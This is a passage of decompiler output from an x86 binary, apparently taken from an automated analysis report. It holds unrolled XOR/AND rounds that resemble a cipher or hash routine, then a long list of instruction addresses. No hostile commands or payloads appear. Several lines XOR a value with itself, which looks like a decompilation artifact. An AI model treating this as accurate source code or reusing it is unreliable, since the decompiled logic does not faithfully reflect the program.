						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1847 + _t1663 * 8 - 0x40);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1847 + _t1663 * 8 - 0x3c);
						_t1664 =  *(_t2149 - 0xc);
						_t1848 =  *((intOrPtr*)(_t2149 + 8));
						_t1496 =  *(_t2149 - 0xc);
						_t2101 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1848 + _t1664 * 8 - 0x48) &  *(_t2101 + _t1496 * 8 - 0x60) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1848 + _t1664 * 8 - 0x44) &  *(_t2101 + _t1496 * 8 - 0x5c) ^  *(_t2149 - 4);
						_t1849 =  *(_t2149 - 0xc);
						_t1497 =  *((intOrPtr*)(_t2149 + 8));
						_t1668 =  *(_t2149 - 0xc);
						_t2102 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1497 + _t1849 * 8 - 0xb0) &  *(_t2102 + _t1668 * 8 - 0x1d0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1497 + _t1849 * 8 - 0xac) &  *(_t2102 + _t1668 * 8 - 0x1cc) ^  *(_t2149 - 4);
						L0040ECE8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						_t1671 =  *(_t2149 - 0xc);
						_t2103 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2103 + 0x48 + _t1671 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2103 + 0x4c + _t1671 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1672 =  *(_t2149 - 0xc);
						_t1858 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1858 + _t1672 * 8 - 0x278);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1858 + _t1672 * 8 - 0x274);
						_t1673 =  *(_t2149 - 0xc);
						_t1859 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1859 + _t1673 * 8 - 0x38);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1859 + _t1673 * 8 - 0x34);
						_t1674 =  *(_t2149 - 0xc);
						_t1860 =  *((intOrPtr*)(_t2149 + 8));
						_t1507 =  *(_t2149 - 0xc);
						_t2108 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1860 + _t1674 * 8 - 0x40) &  *(_t2108 + _t1507 * 8 - 0x58) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1860 + _t1674 * 8 - 0x3c) &  *(_t2108 + _t1507 * 8 - 0x54) ^  *(_t2149 - 4);
						_t1861 =  *(_t2149 - 0xc);
						_t1508 =  *((intOrPtr*)(_t2149 + 8));
						_t1678 =  *(_t2149 - 0xc);
						_t2109 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1508 + _t1861 * 8 - 0xa8) &  *(_t2109 + _t1678 * 8 - 0x1c8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1508 + _t1861 * 8 - 0xa4) &  *(_t2109 + _t1678 * 8 - 0x1c4) ^  *(_t2149 - 4);
						L0040ECE8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						_t1681 =  *(_t2149 - 0xc);
						_t2110 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2110 + 0x50 + _t1681 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2110 + 0x54 + _t1681 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1682 =  *(_t2149 - 0xc);
						_t1870 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1870 + _t1682 * 8 - 0x270);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1870 + _t1682 * 8 - 0x26c);
						_t1683 =  *(_t2149 - 0xc);
						_t1871 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1871 + _t1683 * 8 - 0x30);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1871 + _t1683 * 8 - 0x2c);
						_t1684 =  *(_t2149 - 0xc);
						_t1872 =  *((intOrPtr*)(_t2149 + 8));
						_t1518 =  *(_t2149 - 0xc);
						_t2115 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1872 + _t1684 * 8 - 0x38) &  *(_t2115 + _t1518 * 8 - 0x50) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1872 + _t1684 * 8 - 0x34) &  *(_t2115 + _t1518 * 8 - 0x4c) ^  *(_t2149 - 4);
						_t1873 =  *(_t2149 - 0xc);
						_t1519 =  *((intOrPtr*)(_t2149 + 8));
						_t1688 =  *(_t2149 - 0xc);
						_t2116 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1519 + _t1873 * 8 - 0xa0) &  *(_t2116 + _t1688 * 8 - 0x1c0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1519 + _t1873 * 8 - 0x9c) &  *(_t2116 + _t1688 * 8 - 0x1bc) ^  *(_t2149 - 4);
						L0040ECE8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						_t1691 =  *(_t2149 - 0xc);
						_t2117 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2117 + 0x58 + _t1691 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2117 + 0x5c + _t1691 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1692 =  *(_t2149 - 0xc);
						_t1882 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1882 + _t1692 * 8 - 0x268);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1882 + _t1692 * 8 - 0x264);
						_t1693 =  *(_t2149 - 0xc);
						_t1883 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1883 + _t1693 * 8 - 0x28);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1883 + _t1693 * 8 - 0x24);
						_t1694 =  *(_t2149 - 0xc);
						_t1884 =  *((intOrPtr*)(_t2149 + 8));
						_t1529 =  *(_t2149 - 0xc);
						_t2122 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1884 + _t1694 * 8 - 0x30) &  *(_t2122 + _t1529 * 8 - 0x48) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1884 + _t1694 * 8 - 0x2c) &  *(_t2122 + _t1529 * 8 - 0x44) ^  *(_t2149 - 4);
						_t1885 =  *(_t2149 - 0xc);
						_t1530 =  *((intOrPtr*)(_t2149 + 8));
						_t1698 =  *(_t2149 - 0xc);
						_t2123 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1530 + _t1885 * 8 - 0x98) &  *(_t2123 + _t1698 * 8 - 0x1b8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1530 + _t1885 * 8 - 0x94) &  *(_t2123 + _t1698 * 8 - 0x1b4) ^  *(_t2149 - 4);
						L0040ECE8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						_t1701 =  *(_t2149 - 0xc);
						_t2124 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2124 + 0x60 + _t1701 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2124 + 0x64 + _t1701 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1702 =  *(_t2149 - 0xc);
						_t1894 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1894 + _t1702 * 8 - 0x260);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1894 + _t1702 * 8 - 0x25c);
						_t1703 =  *(_t2149 - 0xc);
						_t1895 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1895 + _t1703 * 8 - 0x20);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1895 + _t1703 * 8 - 0x1c);
						_t1704 =  *(_t2149 - 0xc);
						_t1896 =  *((intOrPtr*)(_t2149 + 8));
						_t1540 =  *(_t2149 - 0xc);
						_t2129 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1896 + _t1704 * 8 - 0x28) &  *(_t2129 + _t1540 * 8 - 0x40) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1896 + _t1704 * 8 - 0x24) &  *(_t2129 + _t1540 * 8 - 0x3c) ^  *(_t2149 - 4);
						_t1897 =  *(_t2149 - 0xc);
						_t1541 =  *((intOrPtr*)(_t2149 + 8));
						_t1708 =  *(_t2149 - 0xc);
						_t2130 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1541 + _t1897 * 8 - 0x90) &  *(_t2130 + _t1708 * 8 - 0x1b0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1541 + _t1897 * 8 - 0x8c) &  *(_t2130 + _t1708 * 8 - 0x1ac) ^  *(_t2149 - 4);
						L0040ECE8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						_t1711 =  *(_t2149 - 0xc);
						_t2131 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2131 + 0x68 + _t1711 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2131 + 0x6c + _t1711 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1712 =  *(_t2149 - 0xc);
						_t1906 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1906 + _t1712 * 8 - 0x258);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1906 + _t1712 * 8 - 0x254);
						_t1713 =  *(_t2149 - 0xc);
						_t1907 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1907 + _t1713 * 8 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1907 + _t1713 * 8 - 0x14);
						_t1714 =  *(_t2149 - 0xc);
						_t1908 =  *((intOrPtr*)(_t2149 + 8));
						_t1551 =  *(_t2149 - 0xc);
						_t2136 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1908 + _t1714 * 8 - 0x20) &  *(_t2136 + _t1551 * 8 - 0x38) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1908 + _t1714 * 8 - 0x1c) &  *(_t2136 + _t1551 * 8 - 0x34) ^  *(_t2149 - 4);
						_t1909 =  *(_t2149 - 0xc);
						_t1552 =  *((intOrPtr*)(_t2149 + 8));
						_t1718 =  *(_t2149 - 0xc);
						_t2137 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1552 + _t1909 * 8 - 0x88) &  *(_t2137 + _t1718 * 8 - 0x1a8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1552 + _t1909 * 8 - 0x84) &  *(_t2137 + _t1718 * 8 - 0x1a4) ^  *(_t2149 - 4);
						L0040ECE8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						_t1721 =  *(_t2149 - 0xc);
						_t2138 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2138 + 0x70 + _t1721 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2138 + 0x74 + _t1721 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1722 =  *(_t2149 - 0xc);
						_t1918 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1918 + _t1722 * 8 - 0x250);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1918 + _t1722 * 8 - 0x24c);
						_t1723 =  *(_t2149 - 0xc);
						_t1919 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1919 + _t1723 * 8 - 0x10);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1919 + _t1723 * 8 - 0xc);
						_t1724 =  *(_t2149 - 0xc);
						_t1920 =  *((intOrPtr*)(_t2149 + 8));
						_t1562 =  *(_t2149 - 0xc);
						_t2143 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1920 + _t1724 * 8 - 0x18) &  *(_t2143 + _t1562 * 8 - 0x30) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1920 + _t1724 * 8 - 0x14) &  *(_t2143 + _t1562 * 8 - 0x2c) ^  *(_t2149 - 4);
						_t1921 =  *(_t2149 - 0xc);
						_t1563 =  *((intOrPtr*)(_t2149 + 8));
						_t1728 =  *(_t2149 - 0xc);
						_t2144 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1563 + _t1921 * 8 - 0x80) &  *(_t2144 + _t1728 * 8 - 0x1a0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1563 + _t1921 * 8 - 0x7c) &  *(_t2144 + _t1728 * 8 - 0x19c) ^  *(_t2149 - 4);
						L0040ECE8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						_t1731 =  *(_t2149 - 0xc);
						_t2145 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2145 + 0x78 + _t1731 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2145 + 0x7c + _t1731 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						L0040ECE8();
						_t1391 =  *(_t2149 - 0x14) &  *0x4110fc;
						 *(_t2149 - 0x18) =  *(_t2149 - 0x18) ^  *(_t2149 - 0x18) ^  *(_t2149 - 0x18) &  *0x4110f8;
						 *(_t2149 - 0x14) =  *(_t2149 - 0x14) ^  *(_t2149 - 0x14) ^  *(_t2149 - 0x14) &  *0x4110fc;
						 *(_t2149 - 0xc) =  *(_t2149 - 0xc) + 0x10;
						continue;
					}
					L3:
					return _t1391;
					L4:
				}
			}




































































































































































































































                                                                                                                                                                                                                                                                                                                                                      0x00406529
                                                                                                                                                                                                                                                                                                                                                      0x00406529
                                                                                                                                                                                                                                                                                                                                                      0x00406529
                                                                                                                                                                                                                                                                                                                                                      0x0040652f
                                                                                                                                                                                                                                                                                                                                                      0x00406532
                                                                                                                                                                                                                                                                                                                                                      0x00406535
                                                                                                                                                                                                                                                                                                                                                      0x0040653b
                                                                                                                                                                                                                                                                                                                                                      0x00406541
                                                                                                                                                                                                                                                                                                                                                      0x00406544
                                                                                                                                                                                                                                                                                                                                                      0x0040654a
                                                                                                                                                                                                                                                                                                                                                      0x0040654d
                                                                                                                                                                                                                                                                                                                                                      0x00406550
                                                                                                                                                                                                                                                                                                                                                      0x00406567
                                                                                                                                                                                                                                                                                                                                                      0x0040656a
                                                                                                                                                                                                                                                                                                                                                      0x0040656d
                                                                                                                                                                                                                                                                                                                                                      0x00406570
                                                                                                                                                                                                                                                                                                                                                      0x00406587
                                                                                                                                                                                                                                                                                                                                                      0x0040658a
                                                                                                                                                                                                                                                                                                                                                      0x0040658d
                                                                                                                                                                                                                                                                                                                                                      0x00406590
                                                                                                                                                                                                                                                                                                                                                      0x00406593
                                                                                                                                                                                                                                                                                                                                                      0x00406596
                                                                                                                                                                                                                                                                                                                                                      0x004065bb
                                                                                                                                                                                                                                                                                                                                                      0x004065be
                                                                                                                                                                                                                                                                                                                                                      0x004065c1
                                                                                                                                                                                                                                                                                                                                                      0x004065c4
                                                                                                                                                                                                                                                                                                                                                      0x004065c7
                                                                                                                                                                                                                                                                                                                                                      0x004065ca
                                                                                                                                                                                                                                                                                                                                                      0x004065ef
                                                                                                                                                                                                                                                                                                                                                      0x004065f2
                                                                                                                                                                                                                                                                                                                                                      0x004065fd
                                                                                                                                                                                                                                                                                                                                                      0x00406608
                                                                                                                                                                                                                                                                                                                                                      0x0040660b
                                                                                                                                                                                                                                                                                                                                                      0x00406616
                                                                                                                                                                                                                                                                                                                                                      0x00406621
                                                                                                                                                                                                                                                                                                                                                      0x00406624
                                                                                                                                                                                                                                                                                                                                                      0x00406627
                                                                                                                                                                                                                                                                                                                                                      0x0040662a
                                                                                                                                                                                                                                                                                                                                                      0x00406631
                                                                                                                                                                                                                                                                                                                                                      0x00406637
                                                                                                                                                                                                                                                                                                                                                      0x0040663a
                                                                                                                                                                                                                                                                                                                                                      0x0040663d
                                                                                                                                                                                                                                                                                                                                                      0x00406654
                                                                                                                                                                                                                                                                                                                                                      0x00406657
                                                                                                                                                                                                                                                                                                                                                      0x0040665a
                                                                                                                                                                                                                                                                                                                                                      0x0040665d
                                                                                                                                                                                                                                                                                                                                                      0x0040666e
                                                                                                                                                                                                                                                                                                                                                      0x00406671
                                                                                                                                                                                                                                                                                                                                                      0x00406674
                                                                                                                                                                                                                                                                                                                                                      0x00406677
                                                                                                                                                                                                                                                                                                                                                      0x0040667a
                                                                                                                                                                                                                                                                                                                                                      0x0040667d
                                                                                                                                                                                                                                                                                                                                                      0x004066a2
                                                                                                                                                                                                                                                                                                                                                      0x004066a5
                                                                                                                                                                                                                                                                                                                                                      0x004066a8
                                                                                                                                                                                                                                                                                                                                                      0x004066ab
                                                                                                                                                                                                                                                                                                                                                      0x004066ae
                                                                                                                                                                                                                                                                                                                                                      0x004066b1
                                                                                                                                                                                                                                                                                                                                                      0x004066d6
                                                                                                                                                                                                                                                                                                                                                      0x004066d9
                                                                                                                                                                                                                                                                                                                                                      0x004066e4
                                                                                                                                                                                                                                                                                                                                                      0x004066ef
                                                                                                                                                                                                                                                                                                                                                      0x004066f2
                                                                                                                                                                                                                                                                                                                                                      0x004066fd
                                                                                                                                                                                                                                                                                                                                                      0x00406708
                                                                                                                                                                                                                                                                                                                                                      0x0040670b
                                                                                                                                                                                                                                                                                                                                                      0x0040670e
                                                                                                                                                                                                                                                                                                                                                      0x00406712
                                                                                                                                                                                                                                                                                                                                                      0x00406719
                                                                                                                                                                                                                                                                                                                                                      0x0040671f
                                                                                                                                                                                                                                                                                                                                                      0x00406722
                                                                                                                                                                                                                                                                                                                                                      0x00406725
                                                                                                                                                                                                                                                                                                                                                      0x0040673c
                                                                                                                                                                                                                                                                                                                                                      0x0040673f
                                                                                                                                                                                                                                                                                                                                                      0x00406742
                                                                                                                                                                                                                                                                                                                                                      0x00406745
                                                                                                                                                                                                                                                                                                                                                      0x00406756
                                                                                                                                                                                                                                                                                                                                                      0x00406759
                                                                                                                                                                                                                                                                                                                                                      0x0040675c
                                                                                                                                                                                                                                                                                                                                                      0x0040675f
                                                                                                                                                                                                                                                                                                                                                      0x00406762
                                                                                                                                                                                                                                                                                                                                                      0x00406765
                                                                                                                                                                                                                                                                                                                                                      0x00406784
                                                                                                                                                                                                                                                                                                                                                      0x00406787
                                                                                                                                                                                                                                                                                                                                                      0x0040678a
                                                                                                                                                                                                                                                                                                                                                      0x0040678d
                                                                                                                                                                                                                                                                                                                                                      0x00406790
                                                                                                                                                                                                                                                                                                                                                      0x00406793
                                                                                                                                                                                                                                                                                                                                                      0x004067b8
                                                                                                                                                                                                                                                                                                                                                      0x004067bb
                                                                                                                                                                                                                                                                                                                                                      0x004067c6
                                                                                                                                                                                                                                                                                                                                                      0x004067d1
                                                                                                                                                                                                                                                                                                                                                      0x004067d4
                                                                                                                                                                                                                                                                                                                                                      0x004067df
                                                                                                                                                                                                                                                                                                                                                      0x004067ea
                                                                                                                                                                                                                                                                                                                                                      0x004067ed
                                                                                                                                                                                                                                                                                                                                                      0x004067f0
                                                                                                                                                                                                                                                                                                                                                      0x004067f4
                                                                                                                                                                                                                                                                                                                                                      0x004067fb
                                                                                                                                                                                                                                                                                                                                                      0x00406801
                                                                                                                                                                                                                                                                                                                                                      0x00406804
                                                                                                                                                                                                                                                                                                                                                      0x00406807
                                                                                                                                                                                                                                                                                                                                                      0x0040681e
                                                                                                                                                                                                                                                                                                                                                      0x00406821
                                                                                                                                                                                                                                                                                                                                                      0x00406824
                                                                                                                                                                                                                                                                                                                                                      0x00406827
                                                                                                                                                                                                                                                                                                                                                      0x00406838
                                                                                                                                                                                                                                                                                                                                                      0x0040683b
                                                                                                                                                                                                                                                                                                                                                      0x0040683e
                                                                                                                                                                                                                                                                                                                                                      0x00406841
                                                                                                                                                                                                                                                                                                                                                      0x00406844
                                                                                                                                                                                                                                                                                                                                                      0x00406847
                                                                                                                                                                                                                                                                                                                                                      0x00406866
                                                                                                                                                                                                                                                                                                                                                      0x00406869
                                                                                                                                                                                                                                                                                                                                                      0x0040686c
                                                                                                                                                                                                                                                                                                                                                      0x0040686f
                                                                                                                                                                                                                                                                                                                                                      0x00406872
                                                                                                                                                                                                                                                                                                                                                      0x00406875
                                                                                                                                                                                                                                                                                                                                                      0x0040689a
                                                                                                                                                                                                                                                                                                                                                      0x0040689d
                                                                                                                                                                                                                                                                                                                                                      0x004068a8
                                                                                                                                                                                                                                                                                                                                                      0x004068b3
                                                                                                                                                                                                                                                                                                                                                      0x004068b6
                                                                                                                                                                                                                                                                                                                                                      0x004068c1
                                                                                                                                                                                                                                                                                                                                                      0x004068cc
                                                                                                                                                                                                                                                                                                                                                      0x004068cf
                                                                                                                                                                                                                                                                                                                                                      0x004068d2
                                                                                                                                                                                                                                                                                                                                                      0x004068d6
                                                                                                                                                                                                                                                                                                                                                      0x004068dd
                                                                                                                                                                                                                                                                                                                                                      0x004068e3
                                                                                                                                                                                                                                                                                                                                                      0x004068e6
                                                                                                                                                                                                                                                                                                                                                      0x004068e9
                                                                                                                                                                                                                                                                                                                                                      0x00406900
                                                                                                                                                                                                                                                                                                                                                      0x00406903
                                                                                                                                                                                                                                                                                                                                                      0x00406906
                                                                                                                                                                                                                                                                                                                                                      0x00406909
                                                                                                                                                                                                                                                                                                                                                      0x0040691a
                                                                                                                                                                                                                                                                                                                                                      0x0040691d
                                                                                                                                                                                                                                                                                                                                                      0x00406920
                                                                                                                                                                                                                                                                                                                                                      0x00406923
                                                                                                                                                                                                                                                                                                                                                      0x00406926
                                                                                                                                                                                                                                                                                                                                                      0x00406929
                                                                                                                                                                                                                                                                                                                                                      0x00406948
                                                                                                                                                                                                                                                                                                                                                      0x0040694b
                                                                                                                                                                                                                                                                                                                                                      0x0040694e
                                                                                                                                                                                                                                                                                                                                                      0x00406951
                                                                                                                                                                                                                                                                                                                                                      0x00406954
                                                                                                                                                                                                                                                                                                                                                      0x00406957
                                                                                                                                                                                                                                                                                                                                                      0x0040697c
                                                                                                                                                                                                                                                                                                                                                      0x0040697f
                                                                                                                                                                                                                                                                                                                                                      0x0040698a
                                                                                                                                                                                                                                                                                                                                                      0x00406995
                                                                                                                                                                                                                                                                                                                                                      0x00406998
                                                                                                                                                                                                                                                                                                                                                      0x004069a3
                                                                                                                                                                                                                                                                                                                                                      0x004069ae
                                                                                                                                                                                                                                                                                                                                                      0x004069b1
                                                                                                                                                                                                                                                                                                                                                      0x004069b4
                                                                                                                                                                                                                                                                                                                                                      0x004069b8
                                                                                                                                                                                                                                                                                                                                                      0x004069bf
                                                                                                                                                                                                                                                                                                                                                      0x004069c5
                                                                                                                                                                                                                                                                                                                                                      0x004069c8
                                                                                                                                                                                                                                                                                                                                                      0x004069cb
                                                                                                                                                                                                                                                                                                                                                      0x004069e2
                                                                                                                                                                                                                                                                                                                                                      0x004069e5
                                                                                                                                                                                                                                                                                                                                                      0x004069e8
                                                                                                                                                                                                                                                                                                                                                      0x004069eb
                                                                                                                                                                                                                                                                                                                                                      0x004069fc
                                                                                                                                                                                                                                                                                                                                                      0x004069ff
                                                                                                                                                                                                                                                                                                                                                      0x00406a02
                                                                                                                                                                                                                                                                                                                                                      0x00406a05
                                                                                                                                                                                                                                                                                                                                                      0x00406a08
                                                                                                                                                                                                                                                                                                                                                      0x00406a0b
                                                                                                                                                                                                                                                                                                                                                      0x00406a24
                                                                                                                                                                                                                                                                                                                                                      0x00406a27
                                                                                                                                                                                                                                                                                                                                                      0x00406a2a
                                                                                                                                                                                                                                                                                                                                                      0x00406a2d
                                                                                                                                                                                                                                                                                                                                                      0x00406a30
                                                                                                                                                                                                                                                                                                                                                      0x00406a33
                                                                                                                                                                                                                                                                                                                                                      0x00406a58
                                                                                                                                                                                                                                                                                                                                                      0x00406a5b
                                                                                                                                                                                                                                                                                                                                                      0x00406a66
                                                                                                                                                                                                                                                                                                                                                      0x00406a71
                                                                                                                                                                                                                                                                                                                                                      0x00406a74
                                                                                                                                                                                                                                                                                                                                                      0x00406a7f
                                                                                                                                                                                                                                                                                                                                                      0x00406a8a
                                                                                                                                                                                                                                                                                                                                                      0x00406a8d
                                                                                                                                                                                                                                                                                                                                                      0x00406a90
                                                                                                                                                                                                                                                                                                                                                      0x00406a94
                                                                                                                                                                                                                                                                                                                                                      0x00406a9b
                                                                                                                                                                                                                                                                                                                                                      0x00406aa1
                                                                                                                                                                                                                                                                                                                                                      0x00406aa4
                                                                                                                                                                                                                                                                                                                                                      0x00406aa7
                                                                                                                                                                                                                                                                                                                                                      0x00406abe
                                                                                                                                                                                                                                                                                                                                                      0x00406ac1
                                                                                                                                                                                                                                                                                                                                                      0x00406ac4
                                                                                                                                                                                                                                                                                                                                                      0x00406ac7
                                                                                                                                                                                                                                                                                                                                                      0x00406ad8
                                                                                                                                                                                                                                                                                                                                                      0x00406adb
                                                                                                                                                                                                                                                                                                                                                      0x00406ade
                                                                                                                                                                                                                                                                                                                                                      0x00406ae1
                                                                                                                                                                                                                                                                                                                                                      0x00406ae4
                                                                                                                                                                                                                                                                                                                                                      0x00406ae7
                                                                                                                                                                                                                                                                                                                                                      0x00406b00
                                                                                                                                                                                                                                                                                                                                                      0x00406b03
                                                                                                                                                                                                                                                                                                                                                      0x00406b06
                                                                                                                                                                                                                                                                                                                                                      0x00406b09
                                                                                                                                                                                                                                                                                                                                                      0x00406b0c
                                                                                                                                                                                                                                                                                                                                                      0x00406b0f
                                                                                                                                                                                                                                                                                                                                                      0x00406b34
                                                                                                                                                                                                                                                                                                                                                      0x00406b37
                                                                                                                                                                                                                                                                                                                                                      0x00406b42
                                                                                                                                                                                                                                                                                                                                                      0x00406b4d
                                                                                                                                                                                                                                                                                                                                                      0x00406b50
                                                                                                                                                                                                                                                                                                                                                      0x00406b5b
                                                                                                                                                                                                                                                                                                                                                      0x00406b66
                                                                                                                                                                                                                                                                                                                                                      0x00406b69
                                                                                                                                                                                                                                                                                                                                                      0x00406b6c
                                                                                                                                                                                                                                                                                                                                                      0x00406b70
                                                                                                                                                                                                                                                                                                                                                      0x00406b77
                                                                                                                                                                                                                                                                                                                                                      0x00406b7d
                                                                                                                                                                                                                                                                                                                                                      0x00406b80
                                                                                                                                                                                                                                                                                                                                                      0x00406b83
                                                                                                                                                                                                                                                                                                                                                      0x00406b9a
                                                                                                                                                                                                                                                                                                                                                      0x00406b9d
                                                                                                                                                                                                                                                                                                                                                      0x00406ba0
                                                                                                                                                                                                                                                                                                                                                      0x00406ba3
                                                                                                                                                                                                                                                                                                                                                      0x00406bb4
                                                                                                                                                                                                                                                                                                                                                      0x00406bb7
                                                                                                                                                                                                                                                                                                                                                      0x00406bba
                                                                                                                                                                                                                                                                                                                                                      0x00406bbd
                                                                                                                                                                                                                                                                                                                                                      0x00406bc0
                                                                                                                                                                                                                                                                                                                                                      0x00406bc3
                                                                                                                                                                                                                                                                                                                                                      0x00406bdc
                                                                                                                                                                                                                                                                                                                                                      0x00406bdf
                                                                                                                                                                                                                                                                                                                                                      0x00406be2
                                                                                                                                                                                                                                                                                                                                                      0x00406be5
                                                                                                                                                                                                                                                                                                                                                      0x00406be8
                                                                                                                                                                                                                                                                                                                                                      0x00406beb
                                                                                                                                                                                                                                                                                                                                                      0x00406c10
